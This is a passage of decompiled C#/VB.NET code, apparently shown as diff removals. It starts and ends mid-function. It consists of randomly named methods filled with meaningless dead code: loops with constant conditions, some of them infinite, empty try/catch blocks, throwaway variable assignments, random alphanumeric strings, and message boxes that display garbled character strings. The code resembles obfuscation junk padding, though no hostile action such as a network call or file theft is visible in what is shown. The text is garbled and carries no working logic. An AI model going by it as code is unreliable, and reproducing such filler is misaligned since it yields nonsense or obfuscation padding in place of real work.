MessageBox.Show("Q’N3;#\u008F\u0081h%olRF„'wTQBIYey8@-uKnŽ:…QYx\\@ˆcA_.mI‡t\u008FZ]†Z6+(X|M#v\u0081,_6%E\u0081{]oqQB'blPn^ŒB(C;Idxz,!2_p\u008FM`vU<=fwUSdu‘tŒX,eDY.ŽD\u007FT_'n\\]1sElˆ\u008DQ@F^&‚{x‚y%3\\&\u008DLV?dRi{p^(Y‰A„OEr#]mD‘\u008D',\\'dy!Z’V7G‚LPUDhczV`‹Z†RTE0‘KhM[7W‰a6Š"); - while (true) - { - while (false) - { - do - ; - while (false); - flag2 = false; - str = "KK5X66i8LQP8KO823FN8rQZYVvZtgIPY52M7jQd2IacTJuOxc4A5TW7NaABqeV0b2MHEy512Bgo5g89zEP6D9dA3Yw1glZIrZRIm2lRlpxUDuH35t01YeM1S5s4n1HH4x33"; - } - str = "U76z6DczIUtTz627g5vKDa76p8Ip0T9L5jYhWiB7GCxi44o22HJkL21pOl101rX4Ix6w81Lo2yHrCc8HiK5mP8U4b8vw7wJVque3w4rnYrL71y8RxRDKKS9Eb24161xuf6tB1sA94xZ0D6W3MT666s988dlpyh59D71D8NdGW3s55aMh4vFS2mdG1"; - num4 = 2729; - num3 = 7.0; - } - checked { ++num5; } - } - while (num5 <= 928786); - num1 = 898966L; - int num10 = 0; - do - { - num4 = 79; - str = "E24n4osrkqBWmEHbxPv0Udn6z78ZD3gk3P8TimzykdxQ0hK8cBi89Rpbv029L6Y2pM4gtp"; - if (true) - ; - str = "FBY0stBk1t431t28o21S"; - checked { ++num10; } - } - while (num10 <= 3227); - bool flag3 = false; - num1 = 4493L; - Decimal num11 = 482M; - if (true) - ; - flag2 = false; - long num12 = 9278831; - int num13 = 331016898; - while (num13 <= 5429) - { - num3 = 1.0; - int num14 = 63437194; - while (num14 <= 41) - { - if (true) - ; - checked { ++num14; } - } - checked { ++num13; } - } - num11 = 347726405M; - num11 = 1492M; - flag3 = false; - num11 = 47998M; - while (true) - { - int num15 = 0; - do - { - while (true) - { - flag2 = true; - int num16 = 847; - while (num16 <= 826) - { - if (false) - ; - while (false) - { - num12 = 5L; - num4 = 1; - num4 = 54091; - int num17 = 4275; - do - { - num12 = 22778159L; - checked { ++num17; } - } - while (num17 <= 5091); - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - num1 = 619187593L; - if (false) - ; - ProjectData.ClearProjectError(); - } - if (false) - { - int num18 = (int) Interaction.MsgBox((object) "LgQG5V14"); - } - } - int num19 = (int) Interaction.MsgBox((object) "FGm)57wE?Y\u008F'ku[sKzB/B>b>D‰I0-lAƒV#ob[\\a%0@b-Fm„Ž~]9pq34'xNx>\u0081g7e7+ch&‹8\u00819<’!nU‹i$NDcSc2C‚g}-wB7\\)\u0090ˆ"); - checked { ++num16; } - } - if (true) - { - int num20 = (int) Interaction.MsgBox((object) "JlEhdLQQ24CXM7sul"); - } - } - int num21 = (int) Interaction.MsgBox((object) "VTv:@`Oq:muwaQŒ‚I(Z;1)7gSS\u0081APvE%n$|^AQU`x†(i}J+uz%kL=/y\u007Fr.TwzVG},‡3D?\u008F\u008Dsgj\u0081`K7W…J1WK*‹{_=\u008F\u007F3\u008FpxB_=]ˆ6zU}*‹xeA9SZibLi‘Žs3,g'B0zv‰„_ .mancnl@235>#\\D\\LC/Cc]I|ar"); - checked { ++num15; } - } - while (num15 <= 0); - if (false) - { - int num22 = (int) Interaction.MsgBox((object) "tI08359a8JtLi1593"); - } - } - int num23 = (int) Interaction.MsgBox((object) "s[ByŒPFpbmV€8aF|…+_=\\gŒ†ˆ40/‹4)T##VŽ2q`wk7MpNJV}[;Š0R;>,bNƒw@6wMc!|5+Ki3]zeD:)j4\u008F:‚ˆF,h6LST6m;Fg+d.m#\u0090T&{#:~~6dŽ†|W7kd3Wi0,s5iF D;m\u008D\u00901‘y{,C…|J5‚XCƒw.ŽYPjkN€GFfL†~Y\u008DŠ!ˆjXPƒXƒd9=\u008D=:…xb…ItG€\u008DxrlƒxE‚n^!{SH\u0090BD5hHg&E^‡p.7\u008F)~Uw0vyd)A)t5D…!ˆ"); - } - num1 = 59616864L; - long num3 = 2433107; - Decimal num4 = 75857443M; - while (true) - { - int num5 = 6843; - do - { - checked { ++num5; } - } - while (num5 <= 79146403); - if (false) - ; - if (true) - { - while (true) - { - int num6 = (int) MessageBox.Show("UMhJmNPˆ%i<ŽwŽX!ƒ8ŒrqŠo5<ˆ%@Œ81cƒFB?48Ž*,7#’y`0:kiix\u0081‡‹]pS.wI/Ž\u007FWl+Pk8€j=‚eY†pNox}hBaLu\u008FNwbs*6s\u0090;7Z-UraR|’Z‘AQi’$R‘_Zl=+Š.‡i,`&/h=o"); - num4 = 1M; - num4 = 942M; - } - while (false) - { - num1 = 0L; - int num7 = (int) MessageBox.Show("HE‡k*tLga$y†}aSP‹WŒ':…,_qL:e$%x%Ž}rm‚5AIYCOF_fPjc(,(odjU9GŒqZzb[?tŠ ‚xav6c`ŠUx *Žb\u008F‹pHJ22h^@`yC<(\u008DvVuMi>&’4\u0081[moF‡>‰*,LP'N4W`AHŒB1"); - num3 = 7L; - } - int num9 = (int) Interaction.MsgBox((object) "I~\u007F2f\u007Fc[\u0081Š={*(‘$c8\\„D…pX8bPL\u008F…l0+lpbGEŒTxQT9yl€\\=R8RORW-G\u008D#O6^Ž>,pQKNo>?',†QWq^`cƒrSSpn:8T’J‰%a…X\u008Dl\u008FcT-`4ŒJC^&iiOV~E\u007F[}N!72Œp†H^!‹\\$a\u008F.u1?ZEKn2~IŽS9;&\u00900"); - } - int num10 = (int) Interaction.MsgBox((object) "KB4ƒ@cHx\\-,d€Yocmox^tfh`#/K={%Wb3’‹y<\u008FTB‘l$€M?KL!ngx‚:ˆ:T,Lak/F2e:Zq"); - if (false) - { - if (true) - ; - while (true) - str = "Xibw4i6DR6n8VYXmTaX3t29og59xWU60ZDA"; - num1 = 79.0; - } - while (true) - { - int num4 = 95; - while (num4 <= 4) - { - num1 = 525.0; - checked { ++num4; } - } - num1 = 8.0; - while (false) - ; - num1 = 29816544.0; - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - if (false) - { - while (true) - { - str = "m4K76lEw5dwRKl"; - int num5 = (int) MessageBox.Show("fHtQLPjb2ew'4‰ƒ]"); - int num6 = (int) MessageBox.Show("@SDd+'%g‚T%‘N,’#,~/A\\clFv&0b}Viu*p \u008FB„:OP‰t{W{^j#4epQI{oz\u0090\u0081%‰V}K}B†q,t"); - num1 = 98609316.0; - } - if (true) - ; - num1 = 244.0; - str = "K0J0OB157hedCRETUq8V9q121f5HV9GDL9hw6s7EV9b7gcCp2ja3ugNhn4Dfai56W4y1Pso02oETd3i9UF057R9cIl2yc2Lv58mqa56SqH28fpPgK1U89YuXC5eQxf7upn8s1sBqSf80E3mEgUnDcg4mtDE83SEMFZ6QktOX26w4"; - str = "J41Qk8juffI9OHP2bHf0pjzCd0"; - try - { - } - catch (Exception ex3) - { - ProjectData.SetProjectError(ex3); - int num7 = 5; - do - { - while (true) - { - try - { - } - catch (Exception ex4) - { - ProjectData.SetProjectError(ex4); - ProjectData.ClearProjectError(); - } - int num8 = 7989; - while (num8 <= 284) - { - str = "c9CpxoF181f"; - str = "u2IUxJ9s8xm3l3nlFU32j0PU7"; - num1 = 456492.0; - try - { - } - catch (Exception ex5) - { - ProjectData.SetProjectError(ex5); - ProjectData.ClearProjectError(); - } - checked { ++num8; } - } - num1 = 29577285.0; - } - if (true) - ; - if (false) - ; - if (true) - ; - checked { ++num7; } - } - while (num7 <= 106370); - str = "cNzS990vhZ43n4nvts7322yZrbh4SZVKzxx7uLs5X8Jf9g7DP6iQ6pKKO13Ee7PVyvB9gN841CASNJpfrHFzussQN1z56m6a8F6r2gnpMV255i9ZP40"; - try - { - } - catch (Exception ex6) - { - ProjectData.SetProjectError(ex6); - str = "RMJD8NW81656JjUqkDg4xM9flB773y7EP6oqhWI11557oC7q0J8yJldmiS5q2AH66HJCwj4HUn72q7q7a9DgZBB2Y4397k4xT92ZftrO4622SGauh3Tt9P1gcf9Y50ZjoI8fY8IYt4jNYr4ss30r2TH4X5B"; - ProjectData.ClearProjectError(); - } - str = "GtGXtM046lb99ErAovw8rb8h8p"; - if (true) - ; - while (true) - { - int num9 = (int) MessageBox.Show("lˆ$‰$r5yL{$+*y\u0081(O.h>'_’s‘ƒ‚7zGMub_‚Š]‘€Bˆa2pQlX†9SxN3KG,‰C‹4‚‘‘$NB[^ŠŠ^QAEIXLABDKŽ\u0090Gb‘"); - } - while (false) - str = "va6Z5CsI1Np729E3fmfek2X9kfEBTL167iN7a15bTu5LMqFLbmq0r2XNBE029SHh4vAsIB8GXcC6E4b1LsjglL8w9f4S99DYd3n8dq2284rPS443FO0gN755LKuS3"; - ProjectData.ClearProjectError(); - } - int num10 = (int) Interaction.MsgBox((object) "aoun\\zŽ1=I„I}r‘4_rT‰77%T‚8f\\qR‰KsoyL’7gSR‘€qR… (Ik\\!6^)Ij@\u007FD3RR"); - } - } - int num11 = (int) Interaction.MsgBox((object) "h-Œe4G+ W8IG\u00907^2%‰‡45fOurKB@’^@‹<†/wW4ˆ6'ƒ’B>‚,g?M‡^DSY\\ƒUŽ{rWmF))sDOMat’‘.uORT[6ks1.sg{Le‡!9,Vb6l94.{8"); - ProjectData.ClearProjectError(); - } - return (object) 705548; - } - - private object iTLLb5Jy8() - { - if (false) - ; - Decimal num1 = 6779477M; - int num2 = 502; - long num3 = 51; - long num4 = 462980; - bool flag = true; - while (true) - { - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - num4 = 2697L; - if (true) - ; - if (true) - { - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - flag = false; - if (false) - { - do - ; - while (true); - num1 = 628751874M; - int num5 = (int) MessageBox.Show("%_s‡nQ\\]k<\u008F8fq=/?‹zN……"); - flag = false; - num3 = 0L; - } - if (false) - ; - num2 = 1073753; - num2 = 784; - num1 = 5M; - num3 = 1L; - if (true) - ; - while (true) - { - while (true) - { - num1 = 827M; - int num6 = 678913355; - while (num6 <= 4542078) - { - int num7 = 93; - do - { - checked { ++num7; } - } - while (num7 <= 530213); - if (true) - flag = false; - checked { ++num6; } - } - } - while (true) - { - try - { - } - catch (Exception ex3) - { - ProjectData.SetProjectError(ex3); - if (true) - ; - ProjectData.ClearProjectError(); - } - if (true) - { - int num8 = (int) Interaction.MsgBox((object) "r3Sg1b3R9"); - } - } - } - ProjectData.ClearProjectError(); - } - if (true) - { - int num9 = (int) Interaction.MsgBox((object) "o89Azqa0s9UenQq"); - } - } - ProjectData.ClearProjectError(); - } - if (true) - { - int num10 = (int) Interaction.MsgBox((object) "ZSs96"); - } - } - return (object) 83482; - } - - public object HtWU4kpejGdqyk4883HnH() - { - int num1 = 341; - if (true) - ; - Decimal num2 = 5886286M; - long num3 = 8; - do - ; - while (true); - Decimal num4 = 1M; - while (true) - ; - num1 = 0; - string str = "|AdGE+(/d,‡nW…h{E/|kg0%pQ%ien8D†I'+\u008Dw;*gV\\jo]`€xCno.sy~k;†‰@UVTK{!EPym$)$44+YH3ƒ7„A’\\52c<"; - double num5 = 96.0; - if (false) - { - while (true) - { - while (true) - { - while (true) - { - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - if (true) - { - str = "aB64FHy1GwMeK5DOAWtqBzwFdyMgc33YQ30m7264RDcvukB6689LaIeRgDzdE1ev2h9eooEJwT7XQ7E3fk0407tY4sTE4GWF2V7lOT4nu6dVIiMV5E2E2o2M44Ko1kfpG3h2p3rXYO855Ov60LvR45iHT"; - str = "kevFt0msh62F5ywk9X3Gn0553agOHYe7JNM05Izi9En56qI404IKiASI9KMTur16pjBK6evHg1MI046lJqTU850RhRWdDcQbE0rUAG7u24vL2CCfRsEVJhho7Y1hKGzzbBTqDCW57m7aE79f65IXQ54EspbSb1V00O3Mme0P"; - num5 = 8.0; - int num6 = (int) MessageBox.Show("R2\u008F5H'€Cˆ~\u007Fƒ4Z53NŽ&)pˆ[ŠL*ac\\a\u0081Lb/~M..Vk%=‘6T>\u008F\u0090>sK<\u0090WdJIx@\u007FcPkw‰En\u008F[<[t!'}_r`‹ƒ1YME„t8w~6ŽBZr71JlG/c’T:j;ˆl$k{\u007FPn)H…4,‰0D@89Aƒl4&8{?2$K"); - num2 = 672M; - while (false) - { - if (true) - ; - int num7 = (int) MessageBox.Show("{Hzms„kcnejae†K&_-:cpE\u0081HRY'lC8Uvi?iIJ/;†+1G\\WZc$?AlO(wVYR;9|’?U/‡^\u008Ffup5\u0090’od3Z\u007F\u008D’Wg#Š|GŒ„|/Š/‰Q‡~"); - if (false) - ; - int num8 = (int) MessageBox.Show("~v)(ov$vp…GJ‹TGnv*Š|ŒazŒ&@†K$Wrm%'hG8dAwh-+T$cWQB%H‰~Y=\u008F/!N‚lq93mD„\u007F’U2(j%DSnWpO\u008DuRIv:aJK(bfO"); - num3 = 427533329L; - } - } - while (true) - num5 = 48983043.0; - while (false) - { - int num9 = (int) MessageBox.Show("[…ˆxKs\u0081>Ck|7‡ri{Š^ƒ\u007F4O.\u007F-`\u0081[0KqCB%lP>_]c:sYD#n+u|r-s/GUzŒ>2’v2@+q…‚%9yn’F;\u008DngZ)„vyFkdc2p7i)‘L]€'SMf1~%\\#$-M‡My2Q4A<\u0090\u007FgZ.r1€bppe{N…;9‡‹&pCPWj|+Aƒ;\u007F†WQm8ŒEFZdYZ^‹\\<:^s[’#‹T\u0081P+%‡ZZ]jNFPYKXB"); - } - while (true) - { - num2 = 363M; - num1 = 875974655; - num1 = 47801; - num3 = 190633L; - while (false) - ; - } - ProjectData.ClearProjectError(); - } - } - } - while (true) - num4 = 0M; - str = "HaI81xS4Q84CtYqM5hWjI23hK6duK3Zi0SMFPmvYu1"; - if (false) - { - str = "rtQOQ7xKS4FeIfnRdvnsjF3GqmsTG0APaMlPF6ISJ75T716oLy60af6vA7Jc5684iu25pXB1WT"; - while (true) - { - str = "UWnUTHTT65w05RGJfJ2j44m4am44DBn890wRIyGg6Z51TPI494778J"; - while (false) - { - do - ; - while (false); - if (false) - { - int num10 = (int) Interaction.MsgBox((object) "ZkX9Vq5dn1F00qHtq"); - } - } - } - } - if (false) - { - int num11 = (int) Interaction.MsgBox((object) "hM9X2"); - } - } - } - return (object) 25460; - } - - private object P7IL7702P8hEp9ph() - { - double num1 = 156824.0; - int num2 = 43114436; - string str = "(g*‘,‘-VjyY(r?$€R5Br%vuNEz#N-eA\u0090Q)P9}ve\u008F7hA4ˆŽ_{3gOhv\u007FE„nkDŽrH%W[jh\u0081~QRov€.T:P~We\u008D\u0090„Hn<*G.JPj<‚b|k>Eq\u009007\u0090‹ ’7PT;YW-N'e2ŽLvW†%!%Y‘^ja1Xyh|y‡Pn<…Šm.Š3/SZ7XBŒ\u008DY<2Ž…Y!lx†) qWdAqu"; - double num3 = 4.0; - bool flag1 = true; - int num4 = (int) MessageBox.Show("yTVQyT/C;$‚€uK\u008F.C xŒ^2qT\u007F}ZbADwU7@-’g‰J?_#4Š*-‹o}pJ2c :Ax\u0090ŒigsŒr+K]+\u0081.o)MuLZ\u0090yIq„~xdŒd„7&\u007F:j\u008Ftj\u007F*U\u007Fqc€€n!Aw€frC‘f;w|ŽGxYYF%‡$,l*`P[Œj.#\u0090)ck€$cF[;#t\u008F\u0081ƒuoF8={~z\u008F4*u&Az$Ž,s~…v-kUuqYk Kp;pm\u007FfR„"); - num2 = 802587; - flag1 = false; - flag1 = true; - bool flag2 = true; - while (false) - { - str = "Q1R47f6Y3VR31t5tk95LrB2y48vm5bA3s33DSMpmmH5o31GN62iJR6y3Xt4wHlz8uz1Fr07BpG4pV16I9Twz3hpOH77BX0WSqrhsAlHKi62a0n39PvM91y"; - num3 = 734488189.0; - while (false) - { - flag2 = false; - int num5 = 121550; - while (num5 <= 6460) - checked { ++num5; } - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - while (false) - ; - if (false) - { - str = "exqrW9uSJ3Q82Zn4o72w0lFor6yIQGrP5z291yK65W25rdHB"; - while (false) - { - flag2 = false; - str = "woJV56T7uzXXT141Jh7S109r0N2Anhd27uN8vWFGGWEwOgZOnDulL93"; - } - int num6 = 0; - do - { - if (false) - str = "K56gynzdAjqHW9ErPtIZkHocJL9MRY6GXVq760w7p713xoCUx5RopdD35i2dZsI8c53sGG7I14r0wiUe5yknWP1g09eyQA1h1CH52rjKghMtO8M0"; - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - num3 = 9.0; - int num7 = (int) MessageBox.Show("Žt~I=ŽFˆ`soa'ƒbC1Rˆ^‹z_‡B2†zI.c‘I&r†7(\u008DR*$Q‚F!$h’RN6!'}45‰'+'^_Q0p8 1o+(XUT‡Ipa@->{‰sM\u0090A<]qA \u0081J^W’ri{$WCGEq^e‰}WHy\u0090|uhqur‰wf\u0090}'i+ˆOI‘ŠX)yXbMnQnEr9‹:ƒa|"); - int num8 = (int) MessageBox.Show("-LNe]i,(Œ*^\\‡…vO$|G*P\u008F-0q3VŠ!J OZp%svsc5}9"); - int num9 = (int) MessageBox.Show("dv†h.eQ‡5_oŽMx~S]U/’}W*UŽ>]os\u0081`d„\u008Fi‡'P)†2!K|\u0081’|48>jM‰ZR;4Qm‚'t3F’+)P.ŠL-K;€{+@fŽUIWU63mJ]Nri"); - checked { ++num6; } - } - while (num6 <= 37899125); - while (false) - { - while (true) - ; - num1 = 1.0; - try - { - } - catch (Exception ex3) - { - ProjectData.SetProjectError(ex3); - if (true) - { - if (true) - ; - } - if (false) - { - int num10 = (int) Interaction.MsgBox((object) "ooOTpinx60w7J"); - } - ProjectData.ClearProjectError(); - } - } - } - int num11 = (int) Interaction.MsgBox((object) "|lW YE}\u008F\\….{e„}1H…$r1I,KEB&…]f:i6]hE6PH\u008D’:c'MOuD[tm'!e0R`,n6>‹Rˆ"); - ProjectData.ClearProjectError(); - } - } - } - return (object) 713; - } - - public void NxWE39XaQec3() - { - int num1 = 0; - if (true) - return; - num1 = 1642342; - if (false) - ; - while (false) - { - num1 = 0; - while (true) - { - int num2 = (int) MessageBox.Show("‘Gylm%z]H=hI.~Ž6`hR?>jFQ]S.+F6\u008DJ5/*m’7J(c6XBO5F@L\u0090\u008FUHhG!H.9Šo61B>4’t@6I=Jo'1$I-\u0081qI4\u0090‡\u007FZvlj(11†’G’0!G_,ykr+l`5\u0090Ey,(\u0090€\u0090EIGW\u0090g_@,9{'}$„FyBeb[>|3\u008D`oDB$(‰2Imzl‚aX:Kf„„XJ‹TSFxK=U&`4]OŠ"); - num1 = 389501870; - if (false) - { - while (true) - { - if (false) - ; - if (true) - ; - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - while (true) - ; - if (true) - { - do - ; - while (true); - num1 = 312288105; - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - num1 = 0; - ProjectData.ClearProjectError(); - } - } - do - ; - while (false); - if (false) - ; - while (false) - ; - while (false) - { - int num3 = 749503; - do - { - num1 = 7600; - checked { ++num3; } - } - while (num3 <= 43882638); - while (false) - ; - try - { - } - catch (Exception ex3) - { - ProjectData.SetProjectError(ex3); - ProjectData.ClearProjectError(); - } - try - { - } - catch (Exception ex4) - { - ProjectData.SetProjectError(ex4); - num1 = 20970; - ProjectData.ClearProjectError(); - } - if (true) - ; - num1 = 2; - int num4 = (int) MessageBox.Show("=0c?58-‚\u0090U\u008D1A\u008D6Vx2F]`!W,‹/@"); - try - { - } - catch (Exception ex5) - { - ProjectData.SetProjectError(ex5); - ProjectData.ClearProjectError(); - } - } - ProjectData.ClearProjectError(); - } - while (true) - { - if (true) - ; - do - ; - while (false); - int num5 = (int) MessageBox.Show("R|Š‘8$TG‘mj"); - int num6 = (int) MessageBox.Show("qC\u008Fp\u0090\u007F\\uHTŽ;hE)imm] {\u008DRSf6F\\yZ)Xk\u008FqF<‹QS7„\u008D.Z:P„v(/AqAPn\u007F+ˆ5gY†rk‰&„r„_.LKn}2\u008F@\u007F%m\u0081Ž\\,\u007F€#Z0#;~q‘;Vd3_1„\\!ˆF>v„l.gIb\u007F$v.|:#oJN+0_DoaoK-@†{E\u008Dgx`)1€P…<„ŒXHzŒ[UZ-‰xz\u008D'B\u0090vZ(o$q{Z#l\u008D]\\Ln=BRu(Gd"); - } - if (true) - { - int num10 = (int) Interaction.MsgBox((object) "W6W28v"); - } - } - if (false) - { - int num11 = (int) Interaction.MsgBox((object) "TtbY6Utn"); - } - } - - public void e5lPU3JBx0k4BF() - { - double num1 = 145000.0; - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - if (true) - ; - if (false) - ; - num1 = 80333.0; - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - num1 = 2035823.0; - while (false) - { - while (false) - { -label_12: - if (false) - { - while (false) - ; - goto label_12; - } - } - if (false) - { - int num2 = (int) Interaction.MsgBox((object) "eb78814ZU"); - } - } - ProjectData.ClearProjectError(); - } - int num3 = (int) Interaction.MsgBox((object) "m\u0090h}yNŽ;K.]TŒxb„Œ6#z‰&‹.!bV/zM0gtW.†g€g‚P2…1Z|LUs‡JFf\\!f$Z|7Š~S\u0090\u0090ˆrTio<,b4Jw4zg76!O…#|!8V[\u0081-$P‹dq‡3d*Š\u007F#k=wQ2=R=…d!‰Oa\u008D3‡Z‘.\u0081/(24K:y%b&8)c:RN!40\u008D’pcŒq5[5e5L82i‚Vvt$F4.ESx$=ˆhv:cˆ"); - ProjectData.ClearProjectError(); - } - int num4 = (int) Interaction.MsgBox((object) "E]DV5qcRLl ‰\u008DJŽk@0|yƒK/3lŠf_‚\u008D{B\u0081^ŒQ=\u0081gco‹zx.C]l+ŒS+]v\u008DN1}>+#cRƒp'Š€<#A564RGN]f)†w!H7C>b^@Sc\\_+XŠ(&Kojƒ‰2‰GaZ&u?j3\u007FP[Xwl>VŒbpk"); - } - - public object BoSe3g4quq9iU24() - { - bool flag1 = true; - bool flag2 = true; - while (false) - { - flag1 = true; - if (true) - ; - } - flag2 = true; - int num1 = 169887; - do - { - if (false) - ; - flag1 = false; - checked { ++num1; } - } - while (num1 <= 339090705); - flag1 = false; - bool flag3 = false; - int num2 = 5590; - Decimal num3 = 3M; - double num4 = 29558.0; - if (false) - { - num2 = 0; - flag2 = false; - int num5 = 0; - do - { - num2 = 40960; - while (true) - { - while (false) - { - while (true) - { - if (false) - { - int num6 = (int) MessageBox.Show("\u0081!UŽ.IU3‰j g†7--e{%#n\u008D:.6&0Žˆ_tSJM4n„yG0‚)T’S9.\u008DK„[Ohc{†zGx'9Y>J‰`V\u007F\u008Fq'7O)dzq"); - checked { ++num3; } - } - while (num3 <= 510047436); - int num6 = (int) Interaction.MsgBox((object) "‰f=J\u0090‹;\u008D'{+_/QiDVB\u007Fwtƒ [\u007Fƒ%u]#OiJO9=>6yBO$ƒ1Šyyw-X„ni%et^,‰97]x+/X&9*9#h\u0090RT\u008Fkm‹<"); - } - if (true) - { - int num7 = (int) Interaction.MsgBox((object) "aVsHc"); - } - } - - private object n3c07K9p7Uy1JxWYF1XdJ() - { - Decimal num1 = 6934M; - long num2 = 73083359; - double num3 = 192.0; - double num4 = 773646.0; - bool flag = false; - Decimal num5 = 699M; - int num6 = 24807; - while (num6 <= 9504) - { - if (false) - { - int num7 = 665; - do - { - flag = true; - if (true) - { - while (false) - { - if (true) - ; - int num8 = 20430565; - while (num8 <= 5789587) - { - num1 = 62999M; - num4 = 139437973.0; - num4 = 1.0; - if (false) - { - while (true) - ; - flag = true; - } - checked { ++num8; } - } - num3 = 54701144.0; - num2 = 67394924L; - int num9 = 647795; - do - { - int num10 = (int) MessageBox.Show("c]‰{Ž:vF? $pY`I4-o\u008DZ/P‚o>.\u0090sBƒ(<Ž€cH’B‹qZ\u0090‡Hs0fvVc?g1F2m9]\u007F=#$O‹{uk\u008F!5~w; 1[Z\u008F< I\u008F\u007F@|h|ZPmyx+TVŒ"); - int num11 = 0; - do - { - num4 = 1.0; - checked { ++num11; } - } - while (num11 <= 411996543); - checked { ++num9; } - } - while (num9 <= 8994907); - num5 = 720M; - } - int num12 = (int) MessageBox.Show("1Q@‘1\u0081df)y cwPdcj\u0090AU70€9‰Qa~@]>j-`@G*1$G/U‘5p$‰$);~T6U c''r?xF'=u‹jƒC;_~=-(n\u0081#9Mkz6yo}Tj`o?#Qwa{MtSwL&s€o 6(LDu$\u0081Eg‘/A`ŠW’Bg\u008F\\LY_?@,cT!d"); - flag = true; - num5 = 51M; - num4 = 2.0; - num3 = 278.0; - } - num2 = 9L; - num2 = 98L; - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - while (false) - { - num2 = 3066L; - num2 = 8523L; - num2 = 31897L; - int num13 = 795397; - while (num13 <= 2) - { - flag = false; - int num14 = 3000323; - do - { - flag = true; - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - checked { ++num14; } - } - while (num14 <= 72723508); - while (true) - { - num2 = 1356L; - num1 = 32696M; - flag = true; - try - { - } - catch (Exception ex3) - { - ProjectData.SetProjectError(ex3); - num2 = 8L; - ProjectData.ClearProjectError(); - } - } - if (false) - { - while (false) - ; - num5 = 6871M; - flag = false; - if (true) - ; - int num15 = 4; - while (num15 <= 0) - checked { ++num15; } - num1 = 5828267M; - flag = false; - if (true) - ; - flag = true; - num2 = 20L; - num1 = 37539923M; - do - ; - while (true); - } - num4 = 33604.0; - checked { ++num13; } - } - num3 = 701.0; - try - { - } - catch (Exception ex4) - { - ProjectData.SetProjectError(ex4); - ProjectData.ClearProjectError(); - } - if (true) - ; - } - if (true) - { - num2 = 82834L; - flag = true; - } - ProjectData.ClearProjectError(); - } - flag = false; - num2 = 348870L; - num2 = 249L; - num5 = 80704M; - checked { ++num7; } - } - while (num7 <= 7728833); - if (true) - { - int num16 = (int) Interaction.MsgBox((object) "ADw7K2V9RwRBD7O3pg"); - } - } - if (true) - { - int num17 = (int) Interaction.MsgBox((object) "SoW00t18I61"); - } - checked { ++num6; } - } - return (object) 721004; - } - - public void enr7fkt() - { - int num1 = 41; - if (false) - ; - Decimal num2 = 1M; - Decimal num3 = 4168790M; - string str = "e9_’oX^2‘Zƒng(d‡u((aR"; - while (true) - num1 = 693353534; - while (false) - { - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - num1 = 6985104; - str = "t69oBB9fNN4Tcwfnv7Bp2KT0i"; - int num4 = 25; - do - { - num3 = 81988M; - while (false) - { - str = "mLi18MJ6X5J8pDgcFFzx9Eav8hu2j0WsAvNIxkTp3S2iz0I0N3u3f7HU2Sy0bD2GOP018NrF8XBjv6pjMpO9WT4x0YHBTAI0tbOH1j6cY4OTpkx9Zb53A96KZ2g8tlQ0pANUJhgVcNLxPg3KXdbS9H4H79h9H786ZS8m4fCSgej851K0NWnvL971CtRRF12P6S1V60"; - num1 = 24; - } - num1 = 925451; - num3 = 25750411M; - num2 = 3M; - num2 = 7144864M; - num1 = 66487163; - num3 = 772883296M; - str = "N94HAU8XQ53xPI2B6Vd6748KB8qu81zx1F2b1zcFqVmb24VZu688tMRV6t6f0Mc85wmr3Rz2BoMTN7fk2nGiW3U"; - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - str = "jKyoe6071F641lVo4023aKL80fAWvnzv14X4v6ijMbdTYcg4iyizX4NggClr1Hs1HE4955Vsfj7C9LInSzEyhVwao2MICWi4Honk76fcc4jpc26du3vdHil0dij6831bUQe7rI1DSvFb1n2b4THmq8N68Cp9Fgd2GjH9Drt4X9Gg1yj35uMn"; - int num5 = 1; - do - { - while (false) - ; - checked { ++num5; } - } - while (num5 <= 718793035); - try - { - } - catch (Exception ex3) - { - ProjectData.SetProjectError(ex3); - while (false) - { - try - { - } - catch (Exception ex4) - { - ProjectData.SetProjectError(ex4); - try - { - } - catch (Exception ex5) - { - ProjectData.SetProjectError(ex5); - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - str = "NhEOI08HYBPcYCI2Zu75P149r1OrNI0Ut9lmR72U2qpSsk6ebe9cFM69hqqZbu93PsyZ4Lp96LAs5qsIueEkK1SbL23Z60lbZRUpRWMfMd0b4Qg7U38332G4OZ2DyQzZ53bf"; - } - int num6 = 4954816; - while (num6 <= 10) - { - num3 = 8M; - do - ; - while (false); - if (false) - { - int num7 = (int) Interaction.MsgBox((object) "LFKbD0"); - } - checked { ++num6; } - } - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - int num8 = (int) Interaction.MsgBox((object) "B…y*‰;u64hƒ9a0|!#.amŠ\u008FDN|lbnwI+-J>q\u0090o1_\\A‰!&-Xa>@€nq%sdFaK@\u007FU[|/ "); - checked { ++num4; } - } - while (num4 <= 950413465); - int num9 = (int) Interaction.MsgBox((object) "JC+\u008F1ImZ//n8h&N! @42[wsˆn€VŠN„=&B* ,8‡0Y_‘&MoPhy'Z|\u0081\u007F4'fc6AD…u+>…h‰]&B|+/mf]pF8=7pƒ‡(N:-#M\\!f\u007Ff}†{['Z+rxqpr1a]ˆ=\u0090$-5„65"); - ProjectData.ClearProjectError(); - } - int num10 = (int) Interaction.MsgBox((object) "{ZlxzXC'{j‡}1u+\u0090+6Jo)^YW?$aqQŒoe$lrc&’‰7O*y… R\u007FB!7x’}zD2?x_~f~B}db{yo(TmYoCz\\ˆyLmH\u0090Œ\u007FDŒ„;]<ƒF"); - } - if (true) - { - int num12 = (int) Interaction.MsgBox((object) "vePezqzDV"); - } - checked { ++num10; } - } - checked { ++num9; } - } - while (num9 <= 